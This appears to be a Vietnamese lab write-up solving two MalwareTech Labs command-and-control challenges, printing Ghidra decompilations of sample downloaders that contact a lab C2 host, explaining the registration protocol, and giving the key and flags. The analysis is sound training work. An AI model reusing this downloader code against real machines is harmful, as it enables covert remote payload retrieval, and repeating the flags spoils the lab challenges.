[MalwareTechLabs]Command & Control (3 Labs)
These labs focus on examples which communicate with a command & control server (c2) and are designed to test your ability to work with opaque infrastructure.
Command & Control 1
Lab Type: Static Analyst Languages: x86_64 Platform: Windows 64-bit Difficulty: Tools: Ghidra,DiE
Mô tả
A simple beginner-friendly example which obtains the flag from the C2 server. While this is a static analysis challenge, you’ll still need to interact with the C2 server.
Phân tích
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
undefined8 FUN_140001860(void)
{
HRESULT HVar1;
BOOL BVar2;
longlong lVar3;
char *pcVar4;
undefined1 *puVar5;
CHAR *pCVar6;
HANDLE local_568;
DWORD local_560 [2];
LPCSTR local_558;
CHAR local_550 [40];
CHAR local_528 [272];
undefined1 local_418 [1032];
local_568 = (HANDLE)0xffffffffffffffff;
pCVar6 = local_528;
for (lVar3 = 0x104; lVar3 != 0; lVar3 = lVar3 + -1) {
*pCVar6 = '\0';
pCVar6 = pCVar6 + 1;
}
puVar5 = local_418;
for (lVar3 = 0x400; lVar3 != 0; lVar3 = lVar3 + -1) {
*puVar5 = 0;
puVar5 = puVar5 + 1;
}
pcVar4 = s_https://malware.vip/1/get_flag_140003268;
pCVar6 = local_550;
for (lVar3 = 0x1f; lVar3 != 0; lVar3 = lVar3 + -1) {
*pCVar6 = *pcVar4;
pcVar4 = pcVar4 + 1;
pCVar6 = pCVar6 + 1;
}
ExpandEnvironmentStringsA(s_%TEMP%\flag.txt_140003258,local_528,0x103);
HVar1 = URLDownloadToFileA((LPUNKNOWN)0x0,local_550,local_528,0,(LPBINDSTATUSCALLBACK)0x0);
if ((HVar1 == 0) &&
(local_568 = CreateFileA(local_528,0x120089,0,(LPSECURITY_ATTRIBUTES)0x0,3,0,(HANDLE)0x0),
local_568 != (HANDLE)0xffffffffffffffff)) {
local_560[0] = 0;
BVar2 = ReadFile(local_568,local_418,0x3ff,local_560,(LPOVERLAPPED)0x0);
if (BVar2 != 0) {
local_558 = md5_hash((longlong)local_418);
MessageBoxA((HWND)0x0,local_558,s_MalwareTech_Labs_140003240,0x30);
}
}
if (local_568 != (HANDLE)0xffffffffffffffff) {
CloseHandle(local_568);
DeleteFileA(local_528);
}
return 0;
}
2 vòng lặp for đầu tiên được chương trình dùng để khởi tạo 2 mảng local_528[0x104] và local_418[0x400].
1
2
3
4
5
6
7
8
pcVar4 = s_https://malware.vip/1/get_flag_140003268;
pCVar6 = local_550;
for (lVar3 = 0x1f; lVar3 != 0; lVar3 = lVar3 + -1) {
*pCVar6 = *pcVar4;
pcVar4 = pcVar4 + 1;
pCVar6 = pCVar6 + 1;
}
ExpandEnvironmentStringsA(s_%TEMP%\flag.txt_140003258,local_528,0x103);
Vòng lặp thứ 3 này dùng để chép url được lưu trữ ở pcVar4 vào mảng local_550 -> Có thể đổi tên local_550 thành url.
url = https://malware.vip/1/get_flag.
Hàm ExpandEnvironmentStringsA() là hàm của Windows API, dùng để phân giải các biến môi trường, nó sẽ dịch %TEMP%\flag.txt_140003258 thành đường dẫn tuyệt đối trên máy user và lưu vào biến local_528 -> Đổi tên local_528 thành file_path.
1
HVar1 = URLDownloadToFileA((LPUNKNOWN)0x0,url,file_path,0,(LPBINDSTATUSCALLBACK)0x0);
Hàm URLDownloadToFileA() sẽ tải data từ url và lưu thành file. Hàm trả về 0 nếu tải thành công. Tìm hiểu thêm ở đây. HVar1 có thể đổi tên thành checkDownload
1
2
3
if ((checkDownload == 0) &&
(file = CreateFileA(file_path,0x120089,0,(LPSECURITY_ATTRIBUTES)0x0,3,0,(HANDLE)0x0),
file != (HANDLE)0xffffffffffffffff))
Nếu tải thành công thì gọi CreateFileA() để mở file flag.txt vừa tải về. Sau đó đọc file Readfile() tối đa 0x3ff (1023 bytes) và gọi hàm băm md5_hash() để băm dữ liệu trước khi hiện thông báo ra màn hình user thông qua MessageBoxA(). Còn nếu tải không thành công thì đóng handle_file và xóa flag.txt để xóa mọi dấu vết hoạt động.
Bây giờ để mô phỏng lại hành vi của mã độc, truy cập vào url để xem nó tải dữ liệu gì về. 
Như vậy flag của bài này là: FLAG{JUST-A-SIMPLE-DOWNLOADER}
Command & Control 2
Lab Type: Static Analyst Languages: x86_64 Platform: Windows 64-bit Difficulty: Tools: Ghidra,DiE
Mô tả
It’s not uncommon for malware to require new infections to register with the C2 before receiving commands. See if you can figure out the protocol and obtain the flag.
Phân tích
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
undefined8 FUN_1400019e0(void)
{
int iVar1;
undefined8 uVar2;
LPSTR pCVar3;
LPCSTR lpText;
longlong lVar4;
char *pcVar5;
char *pcVar6;
CHAR *pCVar7;
ulonglong local_858;
char local_830 [24];
CHAR local_818 [1024];
CHAR local_418 [1032];
pcVar5 = s_malware.vip_1400032d8;
pcVar6 = local_830;
for (lVar4 = 0xc; lVar4 != 0; lVar4 = lVar4 + -1) {
*pcVar6 = *pcVar5;
pcVar5 = pcVar5 + 1;
pcVar6 = pcVar6 + 1;
}
pCVar7 = local_418;
for (lVar4 = 0x400; lVar4 != 0; lVar4 = lVar4 + -1) {
*pCVar7 = '\0';
pCVar7 = pCVar7 + 1;
}
pCVar7 = local_818;
for (lVar4 = 0x400; lVar4 != 0; lVar4 = lVar4 + -1) {
*pCVar7 = '\0';
pCVar7 = pCVar7 + 1;
}
wsprintfA(local_418,s_https://%s/2/register_1400032c0);
pCVar7 = local_818;
for (lVar4 = 0x400; lVar4 != 0; lVar4 = lVar4 + -1) {
*pCVar7 = '\0';
pCVar7 = pCVar7 + 1;
}
iVar1 = FUN_140001860(local_418,local_818,0x3ff);
if (iVar1 == 0) {
FUN_1400019b0(s_Failed_to_connect_to_to_C2_1400032a0);
uVar2 = 0xffffffff;
}
else {
pCVar3 = StrStrA(local_818,&DAT_140003294);
if ((pCVar3 == (LPSTR)0x0) || (pCVar3 != local_818)) {
uVar2 = 0xffffffff;
}
else {
local_858 = 0xffffffffffffffff;
do {
local_858 = local_858 + 1;
} while (pCVar3[local_858] != '\0');
if (local_858 < 0x65) {
wsprintfA(local_418,s_https://%s/2/get_flag?%s_140003278);
pCVar7 = local_818;
for (lVar4 = 0x400; lVar4 != 0; lVar4 = lVar4 + -1) {
*pCVar7 = '\0';
pCVar7 = pCVar7 + 1;
}
iVar1 = FUN_140001860(local_418,local_818,0x3ff);
if (iVar1 == 0) {
FUN_1400019b0(s_Failed_to_connect_to_to_C2_140003258);
uVar2 = 0xffffffff;
}
else {
lpText = md5_hash((longlong)local_818);
MessageBoxA((HWND)0x0,lpText,s_MalwareTech_Labs_140003240,0x30);
uVar2 = 0;
}
}
else {
uVar2 = 0xffffffff;
}
}
}
return uVar2;
}
Vòng lặp đầu tiên copy 12 ký tự từ chuỗi s_malware.vip_1400032d8 vào biến local_830 -> Đổi tên local_830 thành domain. 2 vòng lặp tiếp theo khởi tạo local_418 và local_818 bằng \0 (0x400 -> 1024 bytes).
1
wsprintfA(local_418,s_https://%s/2/register_1400032c0);
Hàm wsprintfA() là hàm format chuỗi, biến local_418 ghép thêm với domain nữa sẽ tạo thành url -> Đổi tên thành url.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
undefined4 FUN_140001860(undefined8 param_1,undefined8 param_2,undefined4 param_3)
{
int iVar1;
ulonglong in_stack_ffffffffffffffc8;
ulonglong uVar2;
int local_28;
int local_24;
undefined4 local_20;
undefined4 local_1c;
longlong local_18;
longlong local_10;
local_10 = 0;
local_18 = 0;
local_28 = 0;
local_20 = 0;
uVar2 = in_stack_ffffffffffffffc8 & 0xffffffff00000000;
local_10 = InternetOpenA(0,1,0,0,uVar2);
if ((local_10 != 0) &&
(local_18 = InternetOpenUrlA(local_10,param_1,0,0,uVar2 & 0xffffffff00000000,0), local_18 != 0)
) {
local_24 = 0;
local_1c = 4;
iVar1 = HttpQueryInfoA(local_18,0x20000013,&local_24,&local_1c,0);
if (((iVar1 != 0) &&
(((local_24 == 200 &&
(iVar1 = InternetReadFile(local_18,param_2,param_3,&local_28), iVar1 != 0)) &&
(local_28 != 0)))) && (local_28 != 0)) {
local_20 = 1;
}
}
if (local_10 != 0) {
InternetCloseHandle(local_10);
}
if (local_18 != 0) {
InternetCloseHandle(local_18);
}
return local_20;
}
Nhìn qua hàm FUN_140001860 này truyền vào 3 tham số, lần lượt gọi các API : InternetOpenA() -> InternetOpenUrlA() -> HttpQueryInfoA() -> InternetReadFile() -> InternetCloseHandle() –> Đây là hàm GetWebPayload. Đầu tiên nó gửi 1 request đến url (param1), check status, nếu 200 OK thì đọc data tối đa 0x3ff (1023 bytes) vào local_818 -> có thể đổi tên thành payload.
Nếu nhận được payload thì gọi hàm StrStrA() để check với &Dat.... Payload phải có dạng key=…. Nếu đúng nó lại tiếp tục gửi thêm 1 request nữa lên url mới và nhận phản hồi vào payload.
Cuối cùng chương trình gọi md5_hash để băm payload mới thu được và hiển thị ra màn hình user thông qua MessageBoxA().
Bây giờ để mô phỏng lại hành vi của mã độc, gửi 1 request tới url đầu tiên https://malware.vip/2/register thu được key=7wtv1wszovmcbp5. Tiếp tục gửi thêm request thứ 2 tới url https://malware.vip/2/get_flag?key=7wtv1wszovmcbp5 thì thu được flag.
Flag: FLAG{HTTP-IS-COMMON-FOR-C2}






